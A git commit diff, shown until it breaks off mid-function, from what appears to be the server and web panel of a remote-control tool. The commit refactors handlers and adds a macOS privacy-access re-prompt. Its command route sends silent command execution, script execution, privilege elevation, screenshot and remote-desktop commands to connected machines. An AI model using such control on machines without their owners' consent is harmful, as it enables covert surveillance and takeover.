let mac re-prompt + modularize more code.

2026-05-29 15:41:08 -05:00
parent 345426091e
commit b975907b20
16 changed files with 770 additions and 916 deletions
@@ -1217,7 +1217,8 @@ function renderCurrentDirectory() {
 function handleFileList(msg) {
  if (msg.error) {
    clearVirtualizedListMode();
-    fileListEl.innerHTML = `<div class="px-4 py-6 text-center text-red-400"><i class="fa-solid fa-exclamation-triangle mr-2"></i>${escapeHtml(msg.error)}</div>`;
+    currentPath = msg.path || currentPath;
+    renderFileListError(msg);
    updateDirectorySummaryAndPaging(0, 0);
    return;
  }
@@ -1261,6 +1262,60 @@ function handleFileList(msg) {
  renderCurrentDirectory();
 }

+function isMacFolderAccessError(msg) {
+  if (!msg || !msg.error) return false;
+  if (msg.canRequestAccess || msg.accessDenied) return true;
+  if (detectedOS !== "mac") return false;
+  return /permission denied|operation not permitted|not permitted|access denied/i.test(msg.error);
+}
+
+function renderFileListError(msg) {
+  const canRequestAccess = isMacFolderAccessError(msg);
+  const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder.";
+  const actionHtml = canRequestAccess
+    ? `<div class="mt-4 flex flex-wrap items-center justify-center gap-2">
+        <button id="request-folder-access-btn" class="button primary text-sm px-4 py-2">
+          <i class="fa-solid fa-unlock-keyhole"></i> Request Access Again
+        </button>
+        <button id="retry-folder-access-btn" class="button ghost text-sm px-4 py-2">
+          <i class="fa-solid fa-rotate-right"></i> Retry
+        </button>
+      </div>
+      <div class="mt-3 text-xs text-amber-200/80 max-w-xl mx-auto">${escapeHtml(helpText)}</div>`
+    : "";
+
+  fileListEl.innerHTML = `
+    <div class="px-4 py-6 text-center ${canRequestAccess ? "text-amber-200" : "text-red-400"}">
+      <i class="fa-solid fa-exclamation-triangle mr-2"></i>${escapeHtml(msg.error)}
+      ${actionHtml}
+    </div>`;
+
+  const requestBtn = document.getElementById("request-folder-access-btn");
+  if (requestBtn) {
+    requestBtn.addEventListener("click", () => requestFolderAccess(msg.path || currentPath || "."));
+  }
+
+  const retryBtn = document.getElementById("retry-folder-access-btn");
+  if (retryBtn) {
+    retryBtn.addEventListener("click", () => listFiles(msg.path || currentPath || "."));
+  }
+}
+
+function requestFolderAccess(path) {
+  const commandId = `file-access-${Date.now()}`;
+  send({
+    type: "command",
+    commandType: "file_request_access",
+    id: commandId,
+    payload: { path: path || currentPath || "." },
+  });
+  trackCommandResult(commandId, {
+    successMessage: "Opened macOS Privacy settings. Ask the user to allow access, then retry.",
+    errorPrefix: "Access request failed",
+  });
+  notifyToast("Asking the Mac to open Privacy settings...", "info", 3500);
+}
+
 function shouldShowParentDirectory(path) {
  if (!path || path === ".") {
    return false;
@@ -0,0 +1,48 @@
+import { upsertClientRow, type ClientDbRow } from "./db";
+
+export const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
+
+const lastClientDbSync = new Map<string, number>();
+const pendingClientDbUpdates = new Map<string, ClientDbRow>();
+
+export function queueClientDbUpdate(partial: ClientDbRow): void {
+  const existing = pendingClientDbUpdates.get(partial.id);
+  if (!existing) {
+    pendingClientDbUpdates.set(partial.id, { ...partial });
+    return;
+  }
+  pendingClientDbUpdates.set(partial.id, {
+    ...existing,
+    ...partial,
+    id: partial.id,
+    lastSeen: partial.lastSeen ?? existing.lastSeen,
+    online: partial.online ?? existing.online,
+    pingMs: partial.pingMs ?? existing.pingMs,
+  });
+}
+
+export function flushQueuedClientDbUpdates(): void {
+  if (pendingClientDbUpdates.size === 0) return;
+  for (const update of pendingClientDbUpdates.values()) {
+    upsertClientRow(update);
+  }
+  pendingClientDbUpdates.clear();
+}
+
+setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
+
+export function shouldSyncClientToDb(clientId: string, now: number): boolean {
+  const last = lastClientDbSync.get(clientId) || 0;
+  if (now - last < CLIENT_DB_SYNC_INTERVAL_MS) return false;
+  lastClientDbSync.set(clientId, now);
+  return true;
+}
+
+export function markClientDbSynced(clientId: string, now: number): void {
+  lastClientDbSync.set(clientId, now);
+}
+
+export function clearClientSyncState(clientId: string): void {
+  lastClientDbSync.delete(clientId);
+  pendingClientDbUpdates.delete(clientId);
+}
@@ -1792,7 +1792,7 @@ export function saveSavedScript(
  scriptType: string,
 ): SavedScriptRecord | null {
  const owner = db
-    .query<{ user_id: number }, [string]>(
+    .query<{ user_id: number }>(
      `SELECT user_id FROM saved_scripts WHERE id = ?`,
    )
    .get(id);
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
 import path from "path";
 import fs from "fs/promises";
 import { existsSync } from "node:fs";
-import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
+import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, deleteExpiredChatMessages, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
 import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
 import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
 import { ClientInfo, ClientRole } from "./types";
@@ -13,8 +13,7 @@ import { v4 as uuidv4 } from "uuid";
 import { authenticateRequest } from "./auth";
 import { loadConfig, getConfig } from "./config";
 import { flushAuditLogsSync } from "./auditLog";
-import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
-import { hasPermission } from "./rbac";
+import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient } from "./users";
 import { requireAuth, requirePermission } from "./rbac";
 import { metrics } from "./metrics";
 import { ensureDataDir } from "./paths";
@@ -149,6 +148,8 @@ import * as clientManager from "./clientManager";
 import * as sessionManager from "./sessions/sessionManager";
 import type { SocketData } from "./sessions/types";
 import { SERVER_VERSION } from "./version";
+import { handleChatViewerOpen, handleChatViewerMessage } from "./server/ws-chat";
+import { handleBuildTagConnection } from "./server/build-tag";


 metrics.setSnapshotEnricher((snapshot) => {
@@ -527,33 +528,6 @@ async function startServer() {
    registration: {},
  };

-  function handleBuildTagConnection(
-    clientId: string,
-    buildId: string | null,
-    builtByUserId: number | undefined,
-    keyFingerprint: string,
-  ) {
-    if (!buildId || !builtByUserId) return;
-
-    const isFirstClaim = recordBuildClaim(buildId, keyFingerprint);
-    if (!isFirstClaim) return;
-
-    const user = getUserById(builtByUserId);
-    if (!user) return;
-
-    if (user.role === "admin") return;
-
-    const currentScope = getUserClientAccessScope(builtByUserId);
-    if (currentScope === "none") {
-      setUserClientAccessScope(builtByUserId, "allowlist");
-    }
-
-    if (currentScope === "none" || currentScope === "allowlist") {
-      setUserClientAccessRule(builtByUserId, clientId, "allow");
-      logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${buildId.substring(0, 8)}, fp: ${keyFingerprint.substring(0, 12)}...)`);
-    }
-  }
-
  const lifecycleDeps = {
    maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
    maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
@@ -584,54 +558,8 @@ async function startServer() {
      });
    },
    handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
-    handleChatViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
-      const id = crypto.randomUUID();
-      ws.data.sessionId = id;
-      const userId = ws.data.userId;
-      const userRole = ws.data.userRole || "viewer";
-      const user = userId ? getUserById(userId) : null;
-      const username = user?.username || "Unknown";
-      sessionManager.addChatSession({
-        id,
-        viewer: ws,
-        createdAt: Date.now(),
-        userId: userId || 0,
-        username,
-        userRole,
-      });
-      const retDays = getConfig().chat?.retentionDays ?? 30;
-      const retMs = retDays > 0 ? retDays * 24 * 60 * 60 * 1000 : undefined;
-      const history = getChatHistory(undefined, 50, retMs);
-      const enrichedHistory = history.map((m) => ({
-        ...m,
-        onlineClients: m.userId ? getOnlineClientCountForUser(m.userId) : 0,
-      }));
-      const canWrite = userId ? hasPermission(userRole as any, "chat:write", userId) : false;
-      ws.send(JSON.stringify({ type: "chat_ready", history: enrichedHistory, canWrite, userId: userId || 0 }));
-    },
-    handleChatViewerMessage: (ws: import("bun").ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => {
-      try {
-        const text = typeof raw === "string" ? raw : new TextDecoder().decode(raw as ArrayBuffer);
-        const parsed = JSON.parse(text);
-        if (parsed.type !== "chat_send" || typeof parsed.message !== "string") return;
-        const userId = ws.data.userId;
-        const userRole = ws.data.userRole || "viewer";
-        if (!userId || !hasPermission(userRole as any, "chat:write", userId)) {
-          ws.send(JSON.stringify({ type: "chat_error", error: "Permission denied" }));
-          return;
-        }
-        const msg = parsed.message.trim();
-        if (!msg || msg.length > 2000) {
-          ws.send(JSON.stringify({ type: "chat_error", error: msg ? "Message too long (max 2000 chars)" : "Message is empty" }));
-          return;
-        }
-        const user = getUserById(userId);
-        const username = user?.username || "Unknown";
-        const record = insertChatMessage(userId, username, userRole, msg);
-        const onlineClients = getOnlineClientCountForUser(userId);
-        sessionManager.broadcastChatMessage(JSON.stringify({ type: "chat_message", ...record, onlineClients }));
-      } catch {}
-    },
+    handleChatViewerOpen,
+    handleChatViewerMessage,
    handleConsoleViewerMessage,
    handleRemoteDesktopViewerMessage,
    handleWebcamViewerMessage,
@@ -718,7 +646,10 @@ async function startServer() {
      metrics,
      CORS_HEADERS,
      routes: [
-        (req, url) => handleRegistrationRoutes(req, url, routeDeps.registration),
+        (req, url, srv) => handleRegistrationRoutes(req, url, {
+          ...routeDeps.registration,
+          requestIP: (srv as any).requestIP,
+        }),
        (req, url, srv) => handleAuthRoutes(req, url, srv as any),
        (req, url, srv) => handleNotificationsConfigRoutes(req, url, srv as any, routeDeps.notificationsConfig),
        (req, url) => handleAutoScriptsRoutes(req, url),
@@ -735,7 +666,10 @@ async function startServer() {
        (req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload),
        (req, url) => handlePluginRoutes(req, url, routeDeps.plugin),
        (req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare),
-        (req, url) => handleMiscRoutes(req, url, routeDeps.misc),
+        (req, url, srv) => handleMiscRoutes(req, url, {
+          ...routeDeps.misc,
+          requestIP: (srv as any).requestIP,
+        }),
        (req, url) => handleAssetsRoutes(req, url, routeDeps.assets),
        (req, url) => handlePageRoutes(req, url, routeDeps.page),
        (req, url) => handleWebrtcRoutes(req, url),
@@ -75,6 +75,7 @@ export type CommandType =
  | "console_stop"
  | "console_resize"
  | "file_list"
+  | "file_request_access"
  | "file_download"
  | "file_upload"
  | "file_delete"
@@ -238,6 +239,9 @@ export type FileListResult = {
  path: string;
  entries: FileEntry[];
  error?: string;
+  accessDenied?: boolean;
+  canRequestAccess?: boolean;
+  accessHelp?: string;
 };

 export type FileDownload = {
@@ -0,0 +1,30 @@
+import { recordBuildClaim } from "../db";
+import { getUserById, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "../users";
+import { logger } from "../logger";
+
+export function handleBuildTagConnection(
+  clientId: string,
+  buildId: string | null,
+  builtByUserId: number | undefined,
+  keyFingerprint: string,
+): void {
+  if (!buildId || !builtByUserId) return;
+
+  const isFirstClaim = recordBuildClaim(buildId, keyFingerprint);
+  if (!isFirstClaim) return;
+
+  const user = getUserById(builtByUserId);
+  if (!user) return;
+
+  if (user.role === "admin") return;
+
+  const currentScope = getUserClientAccessScope(builtByUserId);
+  if (currentScope === "none") {
+    setUserClientAccessScope(builtByUserId, "allowlist");
+  }
+
+  if (currentScope === "none" || currentScope === "allowlist") {
+    setUserClientAccessRule(builtByUserId, clientId, "allow");
+    logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${buildId.substring(0, 8)}, fp: ${keyFingerprint.substring(0, 12)}...)`);
+  }
+}
@@ -0,0 +1,225 @@
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { deleteClientRow } from "../../db";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
+import { clearThumbnail } from "../../thumbnails";
+
+type RequestIpProvider = {
+  requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type PendingScript = {
+  resolve: (result: any) => void;
+  reject: (error: any) => void;
+  timeout: NodeJS.Timeout;
+  clientId: string;
+};
+
+type PendingCommandReply = {
+  resolve: (result: { ok: boolean; message?: string }) => void;
+  reject: (error: Error) => void;
+  timeout: NodeJS.Timeout;
+  clientId: string;
+};
+
+type ClientCommandDeps = {
+  CORS_HEADERS: Record<string, string>;
+  pendingScripts: Map<string, PendingScript>;
+  pendingCommandReplies: Map<string, PendingCommandReply>;
+};
+
+export async function handleClientCommandRoute(
+  req: Request,
+  url: URL,
+  server: RequestIpProvider,
+  deps: ClientCommandDeps,
+): Promise<Response | null> {
+  if (req.method !== "POST") return null;
+  const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
+  if (!cmdMatch) return null;
+
+  const user = await authenticateRequest(req);
+  if (!user) return new Response("Unauthorized", { status: 401 });
+
+  try {
+    requirePermission(user, "clients:control");
+  } catch (error) {
+    if (error instanceof Response) return error;
+    return new Response("Forbidden", { status: 403 });
+  }
+
+  const targetId = cmdMatch[1];
+  try {
+    requireClientAccess(user, targetId);
+  } catch (error) {
+    if (error instanceof Response) return error;
+    return new Response("Forbidden", { status: 403 });
+  }
+
+  const target = clientManager.getClient(targetId);
+  const ip = server.requestIP(req)?.address || "unknown";
+
+  if (!target) return new Response("Not found", { status: 404 });
+
+  try {
+    const body = await req.json();
+    const action = body?.action;
+    let success = true;
+
+    if (action === "ping") {
+      const nonce = Date.now() + Math.floor(Math.random() * 1000);
+      target.lastPingSent = Date.now();
+      target.lastPingNonce = nonce;
+      target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
+    } else if (action === "ping_bulk") {
+      Math.max(1, Math.min(1000, Number(body?.count || 1)));
+    } else if (action === "disconnect") {
+      try {
+        requirePermission(user, "clients:disconnect");
+        requireFeatureAccess(user, "disconnect");
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+      target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
+      metrics.recordCommand("disconnect");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.DISCONNECT, targetClientId: targetId, success: true });
+    } else if (action === "reconnect") {
+      try {
+        requirePermission(user, "clients:reconnect");
+        requireFeatureAccess(user, "reconnect");
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+      target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
+      metrics.recordCommand("reconnect");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.RECONNECT, targetClientId: targetId, success: true });
+    } else if (action === "screenshot") {
+      target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: uuidv4(), payload: { mode: "notification", allDisplays: true } }));
+      metrics.recordCommand("screenshot");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCREENSHOT, targetClientId: targetId, success: true });
+    } else if (action === "desktop_start") {
+      target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
+      metrics.recordCommand("desktop_start");
+    } else if (action === "script_exec") {
+      const scriptContent = body?.script || "";
+      const scriptType = body?.scriptType || "powershell";
+      const cmdId = uuidv4();
+
+      const resultPromise = new Promise((resolve, reject) => {
+        const timeout = setTimeout(() => {
+          deps.pendingScripts.delete(cmdId);
+          reject(new Error("Script execution timed out after 5 minutes"));
+        }, 5 * 60 * 1000);
+        deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+      });
+
+      target.ws.send(encodeMessage({ type: "command", commandType: "script_exec", id: cmdId, payload: { script: scriptContent, type: scriptType } }));
+      metrics.recordCommand("script_exec");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SCRIPT_EXECUTE, targetClientId: targetId, success: true, details: `script_exec (${scriptType})` });
+
+      try {
+        const result = await resultPromise;
+        return Response.json(result);
+      } catch (error: any) {
+        return Response.json({ ok: false, error: error.message }, { status: 500 });
+      }
+    } else if (action === "voice_capabilities") {
+      const cmdId = uuidv4();
+      const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
+        const timeout = setTimeout(() => {
+          deps.pendingCommandReplies.delete(cmdId);
+          reject(new Error("Voice capability probe timed out"));
+        }, 30_000);
+        deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+      });
+
+      target.ws.send(encodeMessage({ type: "command", commandType: "voice_capabilities", id: cmdId }));
+
+      try {
+        const result = await replyPromise;
+        let caps: any = null;
+        if (result.message) {
+          try { caps = JSON.parse(result.message); } catch { caps = null; }
+        }
+        return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
+      } catch (error: any) {
+        return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
+      }
+    } else if (action === "silent_exec") {
+      try {
+        requirePermission(user, "clients:silent-exec");
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+
+      const command = typeof body?.command === "string" ? body.command.trim() : "";
+      const args = typeof body?.args === "string" ? body.args : "";
+      const cwd = typeof body?.cwd === "string" ? body.cwd : "";
+
+      if (!command) return new Response("Bad request", { status: 400 });
+
+      const cmdId = uuidv4();
+      target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: cmdId, payload: { command, args, cwd } }));
+      metrics.recordCommand("silent_exec");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.SILENT_EXECUTE, targetClientId: targetId, success: true, details: JSON.stringify({ command, args, cwd }) });
+    } else if (action === "uninstall") {
+      try {
+        requirePermission(user, "clients:uninstall");
+        requireFeatureAccess(user, "uninstall");
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+      target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
+      metrics.recordCommand("uninstall");
+      clientManager.deleteClient(targetId);
+      deleteClientRow(targetId);
+      clearThumbnail(targetId);
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.UNINSTALL, targetClientId: targetId, details: "Agent uninstall requested - persistence will be removed", success: true });
+    } else if (action === "elevate") {
+      try {
+        requirePermission(user, "clients:elevate");
+      } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+
+      const password = typeof body?.password === "string" ? body.password : "";
+      const cmdId = uuidv4();
+      const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
+        const timeout = setTimeout(() => {
+          deps.pendingCommandReplies.delete(cmdId);
+          reject(new Error("Elevation timed out"));
+        }, 30_000);
+        deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
+      });
+
+      target.ws.send(encodeMessage({ type: "command", commandType: "elevate", id: cmdId, payload: { password } }));
+      metrics.recordCommand("elevate");
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "elevate" });
+
+      try {
+        const result = await replyPromise;
+        return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
+      } catch (error: any) {
+        return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
+      }
+    } else {
+      success = false;
+      return new Response("Bad request", { status: 400 });
+    }
+
+    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: action, success });
+    return Response.json({ ok: true });
+  } catch (error) {
+    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: false, errorMessage: String(error) });
+    return new Response("Bad request", { status: 400 });
+  }
+}
@@ -0,0 +1,181 @@
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import {
+  clientExists,
+  listGroups,
+  getGroup,
+  createGroup,
+  updateGroup,
+  deleteGroup,
+  setClientGroup,
+} from "../../db";
+import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
+import { canUserAccessClient } from "../../users";
+import { notifyDashboardViewers } from "../../sessions/sessionManager";
+
+type RequestIpProvider = {
+  requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type ClientGroupDeps = {
+  CORS_HEADERS: Record<string, string>;
+};
+
+export async function handleClientGroupRoutes(
+  req: Request,
+  url: URL,
+  server: RequestIpProvider,
+  deps: ClientGroupDeps,
+): Promise<Response | null> {
+  if (!url.pathname.startsWith("/api/groups") &&
+      url.pathname !== "/api/clients/bulk-group" &&
+      !url.pathname.match(/^\/api\/clients\/[^/]+\/group$/)) {
+    return null;
+  }
+
+  if (url.pathname === "/api/groups") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+
+    if (req.method === "GET") {
+      return Response.json({ groups: listGroups() }, { headers: deps.CORS_HEADERS });
+    }
+
+    if (req.method === "POST") {
+      try { requirePermission(user, "clients:control"); } catch (error) {
+        if (error instanceof Response) return error;
+        return new Response("Forbidden", { status: 403 });
+      }
+      let body: any = {};
+      try { body = await req.json(); } catch {
+        return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+      }
+      const name = typeof body?.name === "string" ? body.name.trim() : "";
+      const color = typeof body?.color === "string" ? body.color.trim() : "#3b82f6";
+      if (!name || name.length > 64) {
+        return Response.json({ error: "Name is required and must be 64 characters or fewer" }, { status: 400 });
+      }
+      if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
+        return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
+      }
+      const group = createGroup(name, color);
+      const ip = server.requestIP(req)?.address || "unknown";
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `create_group:${name}`, success: true });
+      return Response.json(group, { status: 201, headers: deps.CORS_HEADERS });
+    }
+  }
+
+  const groupIdMatch = url.pathname.match(/^\/api\/groups\/(\d+)$/);
+  if (groupIdMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    try { requirePermission(user, "clients:control"); } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    const groupId = Number(groupIdMatch[1]);
+
+    if (req.method === "PATCH") {
+      let body: any = {};
+      try { body = await req.json(); } catch {
+        return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+      }
+      const existing = getGroup(groupId);
+      if (!existing) return Response.json({ error: "Group not found" }, { status: 404 });
+      const name = typeof body?.name === "string" ? body.name.trim() : existing.name;
+      const color = typeof body?.color === "string" ? body.color.trim() : existing.color;
+      if (name.length === 0 || name.length > 64) {
+        return Response.json({ error: "Name must be 1-64 characters" }, { status: 400 });
+      }
+      if (!/^#[0-9a-fA-F]{6}$/.test(color)) {
+        return Response.json({ error: "Color must be a valid hex code (#RRGGBB)" }, { status: 400 });
+      }
+      const updated = updateGroup(groupId, name, color);
+      if (!updated) return Response.json({ error: "Group not found" }, { status: 404 });
+      notifyDashboardViewers();
+      const ip = server.requestIP(req)?.address || "unknown";
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `update_group:${groupId}`, success: true });
+      return Response.json({ ok: true, id: groupId, name, color }, { headers: deps.CORS_HEADERS });
+    }
+
+    if (req.method === "DELETE") {
+      const deleted = deleteGroup(groupId);
+      if (!deleted) return Response.json({ error: "Group not found" }, { status: 404 });
+      notifyDashboardViewers();
+      const ip = server.requestIP(req)?.address || "unknown";
+      logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `delete_group:${groupId}`, success: true });
+      return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
+    }
+  }
+
+  if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-group") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    let body: any = {};
+    try { body = await req.json(); } catch {
+      return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+    }
+    const clientIds = body?.clientIds;
+    if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
+      return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
+    }
+    if (clientIds.length > 500) {
+      return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
+    }
+    const groupId = body?.groupId === null ? null : Number(body?.groupId);
+    if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
+      return Response.json({ error: "Invalid groupId" }, { status: 400 });
+    }
+    let updated = 0;
+    for (const cid of clientIds) {
+      if (!canUserAccessClient(user.userId, user.role, cid)) continue;
+      if (setClientGroup(cid, groupId)) updated++;
+    }
+    notifyDashboardViewers();
+    const ip = server.requestIP(req)?.address || "unknown";
+    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_group:${groupId ?? "none"}:${updated}/${clientIds.length}`, success: true });
+    return Response.json({ ok: true, updated, total: clientIds.length, groupId }, { headers: deps.CORS_HEADERS });
+  }
+
+  const clientGroupMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/group$/);
+  if (req.method === "PATCH" && clientGroupMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    const targetId = clientGroupMatch[1];
+    try {
+      requireClientAccess(user, targetId);
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+    if (!clientExists(targetId)) {
+      return Response.json({ error: "Client not found" }, { status: 404 });
+    }
+    let body: any = {};
+    try { body = await req.json(); } catch {
+      return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+    }
+    const groupId = body?.groupId === null ? null : Number(body?.groupId);
+    if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
+      return Response.json({ error: "Invalid groupId" }, { status: 400 });
+    }
+    const updated = setClientGroup(targetId, groupId);
+    if (!updated) {
+      return Response.json({ error: "Client not found or group does not exist" }, { status: 404 });
+    }
+    notifyDashboardViewers();
+    const ip = server.requestIP(req)?.address || "unknown";
+    logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: groupId ? `set_group:${groupId}` : "clear_group", success: true });
+    return Response.json({ ok: true, groupId }, { headers: deps.CORS_HEADERS });
+  }
+
+  return null;
+}
@@ -0,0 +1,60 @@
+import type { ServerWebSocket } from "bun";
+import { getChatHistory, insertChatMessage, getOnlineClientCountForUser } from "../db";
+import { getUserById } from "../users";
+import { hasPermission } from "../rbac";
+import { getConfig } from "../config";
+import * as sessionManager from "../sessions/sessionManager";
+import type { SocketData } from "../sessions/types";
+
+export function handleChatViewerOpen(ws: ServerWebSocket<SocketData>): void {
+  const id = crypto.randomUUID();
+  ws.data.sessionId = id;
+  const userId = ws.data.userId;
+  const userRole = ws.data.userRole || "viewer";
+  const user = userId ? getUserById(userId) : null;
+  const username = user?.username || "Unknown";
+  sessionManager.addChatSession({
+    id,
+    viewer: ws,
+    createdAt: Date.now(),
+    userId: userId || 0,
+    username,
+    userRole,
+  });
+  const retDays = getConfig().chat?.retentionDays ?? 30;
+  const retMs = retDays > 0 ? retDays * 24 * 60 * 60 * 1000 : undefined;
+  const history = getChatHistory(undefined, 50, retMs);
+  const enrichedHistory = history.map((m) => ({
+    ...m,
+    onlineClients: m.userId ? getOnlineClientCountForUser(m.userId) : 0,
+  }));
+  const canWrite = userId ? hasPermission(userRole as any, "chat:write", userId) : false;
+  ws.send(JSON.stringify({ type: "chat_ready", history: enrichedHistory, canWrite, userId: userId || 0 }));
+}
+
+export function handleChatViewerMessage(
+  ws: ServerWebSocket<SocketData>,
+  raw: string | ArrayBuffer | Uint8Array,
+): void {
+  try {
+    const text = typeof raw === "string" ? raw : new TextDecoder().decode(raw as ArrayBuffer);
+    const parsed = JSON.parse(text);
+    if (parsed.type !== "chat_send" || typeof parsed.message !== "string") return;
+    const userId = ws.data.userId;
+    const userRole = ws.data.userRole || "viewer";
+    if (!userId || !hasPermission(userRole as any, "chat:write", userId)) {
+      ws.send(JSON.stringify({ type: "chat_error", error: "Permission denied" }));
+      return;
+    }
+    const msg = parsed.message.trim();
+    if (!msg || msg.length > 2000) {
+      ws.send(JSON.stringify({ type: "chat_error", error: msg ? "Message too long (max 2000 chars)" : "Message is empty" }));
+      return;
